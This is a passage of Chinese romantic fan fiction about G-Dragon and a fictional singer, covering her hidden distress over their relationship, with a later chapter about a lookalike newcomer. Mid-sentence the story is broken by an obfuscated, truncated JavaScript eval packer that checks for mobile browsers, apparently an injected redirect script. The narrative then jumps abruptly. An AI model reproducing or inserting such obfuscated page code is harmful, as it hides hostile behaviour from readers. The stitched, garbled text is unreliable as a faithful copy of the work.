白色雾气散去,权志龙看到熟悉的装饰:在自己家的镜子里,两个人四目相对,但又相顾无言。 本来一肚子话的权志龙看到对面那张和自己一模一样的脸的时候,忽然丧失了所有说话的勇气,抿 着唇一言不发。 对方也是,看着有些疲惫,两个人沉默好久,权志龙才吭哧吭哧的开口了:“塔伊……还好吗?” 他看到对方垂了一下睫毛,然后抬起眼点了点头。 “可以等一下再换回来吗?”‘权志龙用平和的语气跟他沟通:“我派人去济州岛调查了一些东 西,我需要得到资料,因为是很复杂没有办法三言两语就能解释的东西,所以……得有了结论之后 再和你同步。” “……嗯。” 权志龙点了点头,他知道来自未来的对方一定有着自己不知道的信息,前面两次的沟通都是那么仓 促无效,也有自己的大半责任。 他憋了一会儿,也说不出别的话,只好硬着头皮错开眼神,假装若无其事的问道:“……我能问一 下,到底为什么分手吗?” 说完这句话,他下意识的攥了一下拳头,才发现自己的手心都是汗。 他不敢抬头,也无法窥探到对方的表情,只觉得等待回答的时间漫长的令人发指。 “因为很痛苦。” 很久之后,他听见了来自未来的自己的回答。 权志龙心里慌乱了一瞬,又强硬的压下去这种慌乱,他抬起头,继续追问道:“是什么方面呢?总 得是做了什么……发生了什么吧,我可以从现在开始就补救,让这一切都不要发生吧。” ‘权志龙’静静地看着他,好一会儿才回答道: “是你让她很痛苦。” 权志龙愣住了,好一会儿,才“诶”了一声,显然不能接受这个回答。 镜子里的那个自己,看着他,似乎对他下意识的逃避和否认早有预感,于是一字一句的重复道: “是G-dragon的存在,让她很痛苦。” “爱着的人是权志龙,却要和G-dragon这个人谈恋爱,让她很痛苦。” “你现在所珍爱、自豪,付出了自己大半人生和心血才打造的身份,你现在所拥有的一切,都让她 很痛苦,G-dragon,你得意洋洋的,幸福的每个瞬间,都让那个孩子的眼睛里流出血泪……你真的 不能理解吗?” 权志龙下意识的要说“撒谎”,可他看到那张和自己一模一样的脸,又怎么都吐不出这几个字。 为什么G-dragon这个身份会让塔伊痛苦啊。 这个身份,不知道多么的光鲜亮丽,不知道多么让人羡慕,无所不能,呼风唤雨,引领着不只是韩国一个国家的时尚风潮,无数人争先恐后的模仿,满大街都是他的山寨样品,还不能说明这个名字 的含金量吗? 这个名字,给他带来数不尽的名望和金钱,如果没有这些能力,他不过是个灰头土脸的练习生,日 复一日的重复着没有意义和尽头的地下老鼠一样的生活,谁也不会把他放在眼里,谁也不会看到他 的存在。 正因为有了这个名字的成功,曾经对着塔伊说‘你不要跟这个人玩,要多和崔家的儿子亲近’的乔 娜,陡然换上了热情的面孔,对着自己止不住的称赞,拼命创造着塔伊和自己的独处机会,如果不 是有了这个名字…… 好像他连伸手都会弄脏江留月那漂亮的华丽裙摆。 权志龙总觉得一定是哪里出错了,他深吸一口气,甩掉脑子里多余的杂念,推开了下一扇门。 推门而入的瞬间,冷风扑面而来,他以为这是秋冬,却发现是走进了开足了冷气的工作室,不知道 是什么时间,房间里漆黑一片,只有角落里亮着一盏小夜灯。 他看到一个身影蜷缩在沙发上,心里不由得动了一下,慢慢走了过去,果然看到江留月抬起头看向 他。 江留月有些迟疑的歪着头打量了他一会儿,很小声的叫了一声哥哥,他答应着走过去,低下头让她 抚摸自己的脸。 江留月明显情绪不佳,像是小猫一样钻到他的怀里搂着他的脖子也不说话,他摸着她的头发,根据 长度大约判断出这是江留月2012年迷你专辑活动期间,她把头发给剪了一个类似于公主切的造型, 十分有标志性。 “塔伊,过得好吗?” 权志龙搂着怀里的人,声音很轻柔的问道。 江留月点点头,然后又摇摇头,最后又迟疑的点点头,她看起来有些苦恼:“哥哥,我好混乱。” “怎么了?” “我好像很幸福,但是,又好像很难受。”江留月摸了摸自己的胸口,她对眼下这种混乱的心态不 太能理解,更难以处理这样的情绪,全部堆积在胸口的沉闷感让她觉得呼吸困难。 “……eback了,大家都好像挺高兴的样子,但是,成绩没有想的那么好。”江留月很小声的 说道:“我真的很努力了,但是好像努力的不太对劲儿,志龙哥让我不要在意那些恶评,说我已经 做得很好了,但是我总觉得这样不好。” 权志龙回忆了一下,江留月2012年的迷你专辑只有四首歌,回归时间大约在6月底到7月,正是夏天 的时候,整张专辑轻快活泼,像是冰镇过的可乐一样清爽而充满气泡感,从专业制作人的角度来 说,权志龙不觉得这张专辑很差,而且……这张mini专辑的主打歌正是出自他的手笔。 虽然只有一首,但这首歌是音源成绩最好的,江留月的粉丝比起bigbang的粉丝可能基数不够大,但绝对更为团结,投票氪金都是一顶一的努力,江留月三冠王什么的一个都没落下,已经是SOLO女 歌手里很能打的成绩了,她怎么会觉得这张专辑成绩不好? “我其实也在想,这首歌如果给别人会不会更好。” 江留月低着头,闷闷的说道:“他们都说,志龙哥的歌曲给我……有点浪费。” “怎么会,我的歌……这个歌本来就是想着你写的啊,你为什么会这样想呢?”权志龙愣了,他从 来没想过什么浪费,他很喜欢这首歌来着,可惜江留月对这首歌一直表现的不怎么热情,后面演唱 会甚至都没排这首歌进去,他还以为这孩子不喜欢这种曲风呢。 “可是为了配合我的声音和气短的毛病,志龙哥把原本可以100分的歌曲改成了80分……我觉得很 抱歉。” 江留月轻声说道,她明显有些焦虑的用手捂着自己的脸:“我应该更努力的。” “怎么会……不是你的错,塔伊啊,那是你的发音问题导致的,这个发音不是随便能改的,一不小 心会毁了你的嗓子,现在这样也很好啊,你是个很好的歌手,别这样想自己,我……权志龙知道你 这样想的话,他也会难过的。” 权志龙试图去安慰江留月,但他却看着江留月摇了摇头,她松开手,露出一张强颜欢笑的脸:“不 会的,放心吧,不会的,我不会让志龙哥知道的。” 她努力扬起一个笑脸:“我会更努力的,哥哥,我要努力当个好歌手,我不会给志龙哥丢脸的。” 权志龙一时语噎,不知道要说什么好,只能笑着说当然啦,伸手去抚摸她的头发,安慰她低落的心 情。 江留月的发音问题哪里是一朝一夕能改的,她声音条件很好,偏偏气短而急,倒也不是什么大缺 陷,只要在编曲的时候注意就好了,权志龙从来不觉得为歌手的特色去调整编曲是什么问题——制 作人本就要针对歌手的特色扬长避短不是吗?他这样编曲也不过是希望江留月开麦唱歌的时候能够 轻松一些,至于什么100分的歌曲改成80分……到底是什么人在替他打分啊?! 他有点焦躁,因为之前他从来不觉得江留月是个不好的歌手,歌手分很多种,不是一定要音域广气息绵长才是好歌手,江留月的发音问题有缺陷,那是因为YG当初只有这种条件,她声音条件特殊, 却被摁着学了不合适的发音方式,后来发现了想改又可能会伤到嗓子,这才作罢了。 权志龙从来不觉得这是什么问题,气息短也不要紧,他可以在编曲的时候就多注意,江留月有自己 的长处,她音域广,跳音起来就像是喝水一样简单,还很会情感融入,表情管理也一直都做得很 好,舞台感染力强,这怎么不是优点了? “……我今天试着创作啊,啊,好难,真的好难,为什么创作会那么难,我就这么不适合YG 吗?” 江留月指着地上的纸团,满脸绝望的揉着自己的头发:“哥哥,你说我现在开始学创作,赶得上下 次出专辑吗?” “你为什么要这么折磨你自己啊……”权志龙看着满地的纸团自己也觉得头皮发麻,艺术这种东西 都是吃天赋的,江留月对于创作这块一直都挺短板的,当时YG虽然强制要求歌手们创作,但对当时 唯一的独苗女娃娃并不严格,江留月那时候说话都还磕巴呢,还指望她创作个啥。 “可是大家都会啊!!为什么我不会,没道理我不会……啊不行,我一定会,我一定可以,我得会啊!!” 权志龙看着江留月抓狂的样子,忽然沉默了,他伸出手握住江留月抓自己头发的手腕,轻轻地挪开,然后注视着江留月的眼睛问道:“塔伊……你……” “哥哥,我为什么不会创作呢?” 江留月近乎迷茫的看着他:“他们都说,创作是在痛苦中诞生的,是因为我不够痛苦吗?是因为我 太懈怠了吗……?我是不是不太适合当歌手啊?” 权志龙张开嘴想说点什么,却又觉得说什么都很苍白。 YG实在是个很卷的地方,从练习生开始就要每人每周至少交3首曲子或者歌词,权志龙更夸张,是 按照1天1交的频率来磨的,自他带着bb出道爆火,公司也似乎尝到了甜头,之后招募的都是创作型 歌手,练习生们也是卷生卷死,13年的时候为了让新生代出道搞得《Who is next》直到多年后都 被称之为地狱选秀,可想而知整个公司的氛围。 不光是YG,整个韩娱圈其实都是会创作的歌手地位远高于不会创造的,但这并不意味着不会创作的 歌手就不努力不辛苦。 权志龙从来没要求过江留月去学这个,这孩子本来就非韩语母语,想要像他一样玩转各种押韵、隐 喻更是难上加难,他也不觉得她非要学这个不可,江留月也从未在他跟前表露过自己想学或者学的 时候需要他帮助。 “我觉得我很痛苦了……可是,我的痛苦好像跟大家频率不一样……我没办法把它变成很好的歌词,写出来也很零碎,啊……我好像真的没有天分,只能靠勤奋来弥补了,可是现在我真的觉得勤奋也没什么用……越写越烂……我真的很不想搞这个……” 江留月嘟哝着收拾满地纸团,看着纸团的表情都苦大仇深。 “你为什么非要学这个啊。” 权志龙心痛又无奈,帮着收拾起纸团来。 “因为志龙哥很厉害啊。” 江留月很小声的说:“我总不能……太丢人吧。” “他可能不需要你这样做啊……塔伊啊,你只要开心的唱歌,去享受舞台就好了,没必要这样折磨 自己啊。” 权志龙不知道怎么劝,只能尽量挑江留月舞台的优点夸,可是江留月还是满脸都是忧愁的样子。 “为了创作而让自己陷入痛苦,你只会被沉重的情绪卷下去,多想点开心的事情吧塔伊啊,你笑起 来的样子比任何人都要漂亮可爱呀。” 他努力的劝慰换来江留月努力的做出一个笑脸,然后她的表情立刻垮了下去,对着他像是小孩子一 样伸出手。 权志龙张开怀抱让她抱,她挤到他的怀里,蔫蔫的说道:“可是哥哥,我不想被志龙哥甩在后 面。” “他现在越来越忙了,总是站在人群中央,我就算要挤进去跟上去,也总是感到犹豫。” “所以我只能祈祷他赶紧回头看见我……这样不是很坏吗?” “他一直在往上面走,我却希望他回头看。” 江留月说着说着,似乎又觉得哪里不对,她用有些迷茫的表情看着权志龙,委屈巴巴的说道:“哥 哥,我一定要跟上去吗?” “我知道志龙哥去的都是很高级的地方,他们聊的都是高雅艺术,但是我真的不喜欢,我听着就觉 得头痛,我一定要学这种东西吗?” 当然不是啊。 权志龙啼笑皆非,心疼的同时又觉得她很可爱,想亲她又意识到现在自己身份不同,只好改为将下 巴放在她的头顶蹭。 “……真没意思啊,可是,志龙哥和他的朋友们的聊天,我都快要听不懂了,我在旁边,总觉得很 害怕。” 江留月看起来很忧伤,说起话来也有气无力的:“他看起来好陌生,我好害怕。” 权志龙怔住,然后勉强笑道:“怕什么,他很爱你啊,塔伊,你可以直接跟他说的。” 江留月摇了摇头。 “你就直接说呀,志龙会听的,塔伊,相信我,他会听的,会改的。” 权志龙有些急躁的抓住了她。 江留月看着他,很认真的说:“可是,和朋友们聊这些的时候,志龙哥看起来很幸福很开心诶。” 权志龙:“……” “人在做自己喜欢的事情的时候,不就是这样闪闪发光吗?我喜欢这样的志龙哥,所以,他不用为 了我改变啊。” 那你呢。 塔伊。 权志龙想问,但又不知道从何问起,他害怕听到江留月的回答。 不管是幸福,还是不幸福,他都很害怕听到这样的回答。 一直以来,他记忆里的江留月就是很不喜欢这些东西,她一直表现的对他那些聚会兴趣缺缺,就算 要她去,她也总是犹犹豫豫的。 可是后来,她逐渐了解之后,似乎也能接受了,一些比较稀奇的展览也经常出席,在加上柳天赐自 己就经营美术馆,她似乎也认识了一些设计师朋友,拍一些有趣的照片回来跟他分享。 ……不对。 不是这样的。 权志龙意识到问题出在哪里了。 江留月不是感兴趣了,她只是恶补了功课,试图在配合他罢了。 现在想起来,江留月好像一直以来对艺术类都不感兴趣,她连那些外国人的名字都记不住,也对那 种色块、抽象的图像没有兴趣,她更喜欢那种手工作品,喜欢乐高、十字绣、拼图,喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在他不知道的时候,大家正在以‘Alice是否配得上GD’为议题,无孔不入的审判着她。 江留月经常看到这种帖子,她每次看到下面的评论,都显得十分焦虑。 她没有丝毫安全感,她看到那些漂亮的女性围绕着权志龙的时候,总是不自觉的对着镜子看自己。 她也曾经鼓足勇气想问问看权志龙,但权志龙却总是逗她,逗她说那些姐姐更成熟更漂亮,我们塔 伊以后也要变得那么漂亮,逗她说‘对哥哥好点,不然哥哥变心了怎么办’,逗她‘再吵架哥哥真 的走了’。 权志龙对这种逗哭她又哄好她的游戏乐此不疲,完全没意识到江留月一次比一次更恐慌,她越是害 怕越是装成不害怕的样子,结果将自己活成了惊弓之鸟。 权志龙越来越火,她本来也不错的事业放在她哥身旁一对比,就不够看了,她很焦虑,不知道要怎 么追赶他的脚步,只好什么都试,结果当然是有限的精力被拆的稀碎,什么都没能成功。 权志龙已经走了好几个房间,看着江留月越来越偏执,她强迫自己去学那些不喜欢的东西,隐藏起自己痛苦和烦躁的情绪,明明已经难受的不行了,却总是对他露出乖巧笑容。 最令他崩溃的是,他竟然不知道,毫无察觉的,傻乎乎的幸福着。 他甚至很满意江留月为自己做改变,这似乎是江留月爱他最好的证明。 “这孩子真是……没有我不行。” 看着自己得意洋洋的样子,权志龙真想冲上去给自己一拳好让自己清醒一下。 可他什么都做不到。 这已经发生的一切,他根本就无能为力。 只有当他离开G-dragon的身份,以‘哥哥’的身份陪伴在她身边,江留月才喋喋不休的抱怨吐槽, 权志龙能感觉到她很累,于是斟酌着语气想让她不要那么紧绷,想告诉她,她什么样子权志龙都喜 欢,没有人在给她打分,不要逼迫自己。 “可是,结婚的话怎么办呢。” 江留月很认真的问他:“哥哥,如果我和志龙哥结婚的话,如果我是他的妻子的话,这些算我的职 责吧。” “……职责?” 权志龙懵了:“塔伊啊……妻子能有什么职责啊。” “怎么会没有呢?妻子要做的事情可多了!”江留月很认真但也很苦大仇深的说道:“至少,要是 配得上他的人吧,志龙哥是顶尖制作人,那我也要至少是个好制作人,他是个好歌手,所以我也是 个好歌手,他很会时尚,所以我……” “停。等会。” 权志龙紧急叫停:“等会,塔伊,等会。” 他头大如斗:“没有人这样要求你,塔伊,权志龙他也不会这样要求你啊,他一次也没说过,自己 要这样的妻子啊!!” 他从未对江留月有过这样的要求,他只希望她能留在他的身边,在他可以伸手触碰到的地方,开心 幸福的生活,用亮晶晶的眼睛注视着他,直到死为止都在他的身边,死了以后也和他埋在一起。 妻子不就是这点要求了!?! “你不懂,哥哥,你不懂。” 江留月皱巴着脸,很认真的跟他说:“志龙哥是没有要求,但是,这个世界对我有要求啊。” 她郑重其事的说道:“那也是GD的妻子啊。” “我怎么能给志龙哥丢脸呢,我要当个完美的妻子,你懂不懂?” 权志龙头痛。 他有一种拳头伸出去都不知道该打谁的无力感。 “……你是人啊,塔伊啊,你到底知不知道哥哥在说什么。” 权志龙说话都忍不住带哭腔了,他也不知道自己为什么想哭,他就是忍不住,他为江留月现在眼睛 里炙热的情谊感到绝望:“你在干嘛啊……你不是权志龙的配饰,不是他的附属品,你是人啊,人 怎么可能会完美啊……” “而且你很痛苦不是吗塔伊?你根本不喜欢那些东西,作为歌手你也已经很好了,创作什么的完全 可以让它去死,你不需要这种东西也活得很好啊……喜欢露营就去露营,喜欢去摘蔬菜就让权志龙 给你买一套农庄,喜欢养小动物就开个动物园……你要这样过你的人生才行啊塔伊?” “那个男人爱你,他本来可以为你做任何事情,现在为什么是你要在这里低声下气的活着,你这孩 子到底在想什么啊!” 他情绪都有些崩溃了,忍不住吼了起来。 “可、可是……” 江留月有点受到惊吓,她结结巴巴的说:“可是志龙哥……在夸我,每次我改变的时候,他都夸 我……说更爱我了……” 【呀,伟大的G-dragon为了你通宵没睡觉来接你,你这小孩怎么笑都不肯笑一下。】 【你知道我有多忙吗,塔伊?我们好不容易见面,不要吵架好不好?】 【好累……塔伊啊……哥哥抱一下……真的好累……塔伊啊……】 【哇哦~我们塔伊,真聪明啊。】 【好乖,好乖哦塔伊,怎么能那么乖啊。】 【我爱你,塔伊,哥哥最爱你了。】 【可爱的,漂亮的,我们家小孩,嫁给哥哥好不好,我们明天就结婚吧。】 【看看吧,塔伊,因为有了你,那么多漂亮的姐姐哥哥都不喜欢了,你感动吧,嗯?】 “所以、所以我……很幸福……” 江留月说完这句话之后,表情忽然僵住了。 她抬起手,摸了摸自己的脸,才发现自己满脸都是眼泪。 身体是不会骗人的。 就算她再怎么骗自己的心。 她的身体都在叫着痛苦,叫着窒息,叫着难受。 叫着,‘你不应该过这样的人生。’ “哥哥,”她抹着眼泪,委屈的问道:“我好不容易和自己喜欢的人在一起的,他也爱我,对我真 的很好,这应该是很幸福的事情吧,可是……为什么我会觉得痛苦呢?” “我只是想待在他身边,我想让他更喜欢我……” “可是他每次说爱我的时候,我都好害怕。” “为什么会这样,哥哥。” “爱情不应该是让人觉得幸福的东西吗?” 64.宿命论(中) 64.宿命论 (中) 2023年的时候,江留月在中国的经纪公司出了几个新人,其中有一个女孩,被带过来问候江留月的时候,满桌子没人敢说话。 这女孩不过二十岁左右,有着一双漂亮的大眼睛,卷翘的睫毛,瞳孔是纯净的黑色,鼻梁挺直,鼻尖微微上翘,嘴型小巧却有一点点肉肉的唇珠,往那一站,就是挡不住的青春洋溢。 尽管还有点婴儿肥,但谁都能看出来,这女孩若是瘦个10斤,就和十年前的江留月像个八分。 江留月倒没有生气,只是有点讶异,甚至还有点好奇:这女孩到底是天生跟自己长得像,还是做了 点科技手段? 不过她没有问,只是如常的寒暄了几句,她是公司里最火的顶梁柱,从两年前开始,公司收入里她 的比例已经飙到百分之八十以上,这对公司来说并不是一个健康的生态,因此这两年公司没少捧新 人,先是捧男的和她绑起来炒CP,后面发现解绑的时候反噬太厉害,男的还有可能恋爱脑栽她身上,现在又开始捧女艺人,只是一直成绩都不算理想。 江留月的粉丝忠诚度很高,这女孩还没出道就引发了粉丝的反感,再加上公司确实有意先“黑红也 是红”的把她名声给炒作起来,接的角色也和江留月之前大火的人气角色有相当程度的重叠。 这下,这个年轻的女孩大名没几个人记住,‘多利羊’的称呼就满网络都飞了。 那天公司的老板请江留月喝茶,茶没下肚,净一个劲儿的长吁短叹,说这个女孩不容易,被网暴整 的没法,好好的小孩都要抑郁了,天天以泪洗面。 江留月听着,脸上的表情没什么变化,直到老板的脸上已经挂不住好表情了,才慢悠悠的放下了手 里的茶杯,轻笑着说:“键盘和嘴都在别人家里,我怎么能管得住呢,不如公司想一想,换个赛道吧。” 这话很快传到了女孩耳朵里,她自觉受了天大委屈,把江留月堵在了录音室里,哭着要一个说法。 江留月觉得荒谬,这关她什么事儿呢,但她看着女孩那张和自己极为相似的脸庞上伤心的表情,还 是叹了口气,挥手让工作人员都退下。 她抽了纸巾给对方,女孩并不领情,她便又靠近一步,亲手给她擦眼泪。 女孩闻到了她身上的香味,看到那张美丽绝伦的脸庞上淡淡的疲惫与纵容,一时之间竟然忘了生 气,只觉得她的指尖擦在脸颊上有些凉。 “学我者生,像我者死。” 这位已经霸占顶流位置三年之久的大前辈的声音轻柔的像是柳絮,女孩感觉到耳朵里痒痒的,噼里 啪啦的像是有肥皂泡在炸。 “听说你文化课成绩很好,那就是个聪明的小孩,怎么会连这种道理都不明白呢?现在这条路你走 不通,我出来帮你说话,只会更走不通。” 大前辈的手指轻轻地碰了碰她的眼角:“有时候找我吵吵闹闹,不如踏踏实实的去学点真本事,公 司推你出来跟我打,你拿什么跟我打,用自己的事业和未来找我撞个头破血流,你又能得到什么好 处?我真倒下了,大家都会把这个账记在你身上……到时候你又怎么办?” “可、可是我真的很痛苦……我真的只是和你长得像……为什么大家会只爱你,不爱我呢?” 女孩的装委屈变成了真委屈,她似乎从大前辈的话语中得到了些许真切的安慰,竟然脱口而出想要 对方给一个答案。 “你粉丝也不少呀,你又为什么只看着那些不爱你的言论呢?” 江留月反问道。 女孩一下子怔住了。 是的,就算全网都在骂她多利羊,那也是‘全网’,她获得的曝光度、话题度都远超同期女艺人, 她确实没动过刀子,长得酷似江留月,自然是一顶一的美人儿,官宣出道才一个月,粉丝就已经暴 涨到四五百万,微博评论下方,她的粉丝们也在努力控评,后援会和站子也成立了好几个,还有许 多人觉得她只是容貌相似就遭到江留月粉丝们的疯狂攻击而心生怜悯,在应援号底下评论‘怜爱美女’。 “……我、我也不知道……那些喜欢我的言论,我看了也很感动,但是根本记不住谁是谁……可 是……可是那些骂我的话,一直在我脑子里转,一直在我脑子里转……” 女孩低着头,这下是真的委屈的掉眼泪了。 “那你就得习惯了。” 大前辈没有安慰她,反而笑着说。 女孩很惊讶的用泪眼看她,泪花中,大前辈的笑容也变得亮晶晶的,像是蒙上了一层很厚的马赛克 玻璃。 “想吃这碗饭,你就得习惯这种痛苦,先要学着忍耐,然后学着无视,最后,你要学会利用这种痛 苦。” 江留月摸了摸她的头发,声音很温和: “没关系的,小姑娘。” 原来她也到了,叫别人小姑娘的年龄。 中国不比韩国,会把孩子、小孩这种称呼挂嘴边,她就经常用小弟弟、小姑娘来称呼自己的后辈 们。 “你不用试图去努力、理解或者认同我。” “总有一天。” “……你会成为我的。” 女孩走了之后,江留月一个人在录音室坐了很久,她拿出手机去翻小女孩的社媒,越看越觉得,这 女孩的确像自己。 她并不讨厌这个女孩,她才不到20岁,能懂什么呢?是公司把她从人群中抓出来,然后将她推到了 如日中天大前辈的对立面,被捧在手心里的天之骄女,忽然发现自己的一举一动一言一行甚至娘胎 里带出来的脸都成为众人攻击的目标,当然会觉得茫然、冤枉、恐惧、愤怒,当然会因此在痛苦中 钻牛角尖。 她不知道女孩能不能听进去她的劝告,可能很难。 虽然那是个聪明的女孩,但……20岁的江留月,比她还要聪明、敏锐,也一样听不进去这样的劝 告。 这两年,网络上有句话叫做“人甚至不能共情当初的自己”,江留月也是,她回首自己的20代,几 乎是将一手好牌打得稀烂,自己将自己困在大众给她的标签里面,惊慌失措的把自己往一个又一个 标准里套。 现在想一下,简直蠢得令人难以直视。 “…去吃饭吗?” 吉如心推开门,在门板上敲了敲。 江留月还沉浸在回忆里,被吓了一跳,一下子没听清楚她说了什么,于是问道:“什么?不好意 思,我走神了。” “问你去不去吃饭,想什么呢,那么入神。” 吉如心走过来一屁股坐在桌面上。 江留月挠了挠自己的脸颊,看向吉如心的表情里还带着一点点的恍惚:“在想我年轻时候干的蠢 事……啊……真无语,我还有那么蠢的时候。” “谁说不是呢。”吉如心顺手拆了一包桌子上的饼干开始咔滋咔滋的吃,并顺手给她分享:“怎么 说呢,想了那么久,想明白了吗?” “想明白了呀。”江留月伸手接过饼干吃了一口,然后拍了拍手上饼干渣,煞有其事的看向吉如 心:“你想听听我的分析吗?” 吉如心做出一个“洗耳恭听”的表情。 江留月斟酌了一下用词:“我小时候总觉得全世界的人都对不起我,都欺负我,大家让我很痛苦,这种痛苦让我压抑,最终毁了我。” “但是这两年,我好像改变了想法,因为我本身并不是一个很会忍受痛苦的人……” “嗯……嗯?”吉如心本来一边听一边在点头,听到这里忍不住吐槽:“好姐姐,你还不会忍?你 都快忍者神龟了大姐,不是,谁有你能忍啊?你……你是不是对自己有点误解啊?” “哎呀,听我说完呀。” 江留月摆了摆手,又拿起一包饼干塞给吉如心堵住她的嘴:“我只是很会忍,这和很会忍耐痛苦是 两回事好不好,很会忍痛是痛但全部自己吞下去消化了,我不太行,我很怕痛,我感觉到痛苦的时 候,我是会发泄出来的,就算我嘴巴不讲,我的身体也会讲,我会发烧、流鼻血、甚至肢体麻痹诶!” “……这是什么很值得炫耀的技能吗?” 吉如心无语。 她因为想不通,英气的眉毛皱成一团,整个人脸上就是一个大写的不理解:“不是,不是姐们,你 说你不能忍……那……你在韩国那些年算什么?算给自己做了全麻?” “……诶,你别说,你真别说。” 江留月闻言挑起了眉毛,看起来竟然有些兴致勃勃:“好像是真差不多。” “我不是说了,我是个很不能忍痛的人吗?但是,我又很能忍的原因就是因为,只要觉得幸福,我 就不觉得痛苦了。” “在感觉到幸福的时候,痛苦就立刻消失了,幸福就像是我的麻醉药一样,让我觉得之前的痛苦不 算什么了。” 吉如心沉默片刻,说道:“……这不就是记吃不记打吗?” 江留月沉默,江留月思考,江留月心虚,江留月清了清喉咙:“还是有本质区别的吧。” 吉如心:“本质来说,没有区别吧。” 江留月想要张嘴反驳,最后又闭上了,好一会儿又张开,说:“饿了,吃饭去吧。” 两个人去吃了一家云南菜,结果踩了个惊天巨雷,又灰溜溜夹着尾巴去吃别的。 一来二去,结束的时候已经是凌晨,好在繁荣的都市永远不夜,吉如心先送江留月回家,窗外车水 马龙,流光如同静静的河水。 在一个漫长的红绿灯的时候,吉如心瞟到了副驾驶的江留月,此时车辆已经开到了富人区,这里没 什么车流,江留月趴在打开的车窗上歪着头在看挂满了彩灯的绿化带。 五彩斑斓的光芒在她的脸庞上斑驳,她的表情看起来平和又寂寞。 “……明月。” 有一个问题忽然闯入吉如心的心口,她憋得难受,于是吐了出来: “你现在回忆起那些时候,是什么感觉呢?” 江留月闻言转过头,她用鼻音“嗯?”了一声。 红灯变绿,吉如心变档,她不知道为什么不敢看江留月的脸,甚至咽了口口水:“我说你……现在 回忆起在韩国那些时候,是什么感觉。” 江留月笑了。 她一只手支着头,看向前方的道路。 声音轻飘飘的,瞬间就被夜风吹散了。 “这算什么问题啊。” “怎么会有答案呢。” 吉如心不再说话了,她胸口很闷,说不出来的难受,脚下的油门踩的轰轰响,江留月的别墅在小区 比较靠里面的位置,她远远看到别墅亮着灯。 她知道这是江留月的习惯,尽管家里并没有人,她也会开着所有的灯。 江留月一边解安全带一边谢谢她当司机,吉如心握着方向盘,心里头难受得跟猫抓一样,眼见江留 月关上了副驾驶的门往别墅大门口走,她没忍住,按了一下喇叭。 别墅拱门的灯很亮,江留月披着光走过来,用探询的眼神看他,然后伸长了脖子看副驾驶自己是不 是漏了东西。 “明月。” 吉如心鼓足了勇气,干巴巴的问道:“你是不是很想回韩国。” 江留月怔了一下,然后笑了:“你怎么了,忽然问这种问题。” 吉如心看着方向盘,这句话其实她憋了好久了,自从江留月从巴黎回来之后,她就一直憋着。 “……就是……唉,我要怎么说……唉。” 吉如心低着头不敢看她:“明月,我……唉……算了,你当我最近刷你粉丝的洗脑包刷多了,就是 觉得,内娱舞台太少了,要是能回韩国开副本,好像也不错。” 自从江留月年初和权志龙在巴黎一起参加了时装周,本已装死多年的龙月CP粉忽然满血复活,剪视 频画同人写小说,连带着江留月在韩国活动的那些日子也被拉出来文艺复兴。 甚至有神一样的粉丝剪辑了所有视频、音频里权志龙叫‘塔伊’‘我家小孩’的片段,放在一起竟 然长达二十七分钟……何止是震撼吉如心,简直是震撼内娱。 吉如心一边看一边骂,结果看的太多大数据又疯狂给她推,吉如心越吃洗脑包越害怕,简直要疯 了。 直到她借用江留月平板的时候,上方弹出来‘您的特别关注已更新’的推送,她下意识的想点掉, 却看到推送中那个ID眼熟的可怕。 吉如心战战兢兢的点开,发现江留月用小号关注了这个粉丝,甚至那个喊名字视频被下载了之后, 天终于塌了。 她给江留月当了多久制作人,就激情辱骂了多久权某人,现在这种心情,就如同劝分八百次的闺蜜 结婚要请她当证婚人。 吉如心的心情糟透了。 她甚至一度想带江留月去看看道士,看是不是什么脏东西糊住了她的心。 权志龙怎么是良配呢? 这种绯闻对象加起来能印成扑克牌的花心男人,凭什么呢? 呵,男人不自爱,不过烂白菜,脏东西! 吉如心躺在床上,翻来覆去,越想越难受,越想也想不通,索性爬起来抓起手机,决定来一个理智 分析。 秉承着到底是什么脏东西的求知精神,吉如心刷完了这个人所有的视频,然后又根据评论区的评论 区看了更牛批的粉丝剪辑的时间线、证据线视频。 看完之后。 坏了。 她有一种闺蜜绝对不能跟这个人好但好像也没办法跟别人好的精神分裂感。 吉如心的理智告诉她,权志龙绝非良配,她不可能让江留月回去受苦。 但她实在说服不了自己。 ——————日他大爷的你们俩谈的时候怎么那么甜啊!!!!!! 凭什么啊明月啊凭什么那个狗男人吃那么好啊!!!!!! 吉如心抓心挠肺,十五岁的江留月像是个小蛋糕一样围着刘海长过命裤子垮下腰的非主流转,她简 直气得要死,可她又看到江留月在旁边写韩语作业,权志龙将台灯的灯转向她,结束工作之后一起 回宿舍的路上,也一直走在路边护着她的时候,又觉得有点说不出的感觉。 江留月十六岁,参加了一个合宿综艺,结束的时候是半夜了,录完节目的bigbang在这附近本要来 接她,结果下着大雪车走不掉又开不进来,工作人员都劝江留月在这休息一晚上再走,下一秒五个 大小伙子人均被淋成圣诞老人推开门来接她,江留月看到哥哥们直接哇哇大哭着跑过去,不知道的 还以为不是上综艺是去坐牢了。 雪深路滑,本来几个人扶着彼此走得好好的,不知道谁先摔了一下,叮叮咣咣摔成一堆,干脆在地 上躺着互相打雪仗,就属江留月最开心,权志龙一只胳膊挡着砸过来的雪球一只手护在她的身后, 嘴里说的每个字都被摄像消音,一堆哔哔哔中只能听到江留月清脆的笑声。 江留月出道的AliceTV里,权志龙简直都要成二号人物了,他在江留月的出道曲里担任了feating, 已经做出大爆曲的人一遍遍抠自己的rap细节,录完了自己的也不走,明明不是制作人却盯着全 程。 初舞台上,江留月因为太紧张所以一个劲儿发抖,他用手捂着江留月的手一个劲儿的搓,最后看江 留月实在是紧张,他从耳朵上摘下一个耳钉给江留月戴上当护身符。 吉如心不敢置信的拖动进度条三次,绝望的发现那个耳钉,她之前在江留月的小首饰盒里见过,她 还好奇过为什么江留月的首饰盒里会有这么一个塑料质感的廉价耳钉,好了,现在她再也不想好奇 任何事情了。 这时候吉如心看到一个额外的链接,她没忍住点进去了,发现是一个集锦,记录了江留月在韩国每 次打歌舞台拿了1位之后的庆祝仪式,权志龙不是每次都在,但是他每次都送了一个小蛋糕过来。 吉如心没看懂为什么,然后热评第一:“当时Alice出道之后因为有点婴儿肥被勒令减肥,她太想 吃蛋糕了偷吃结果被社长罚不许吃,只有打歌庆祝舞台蛋糕是有个歌手吃第一口然后分出去的仪 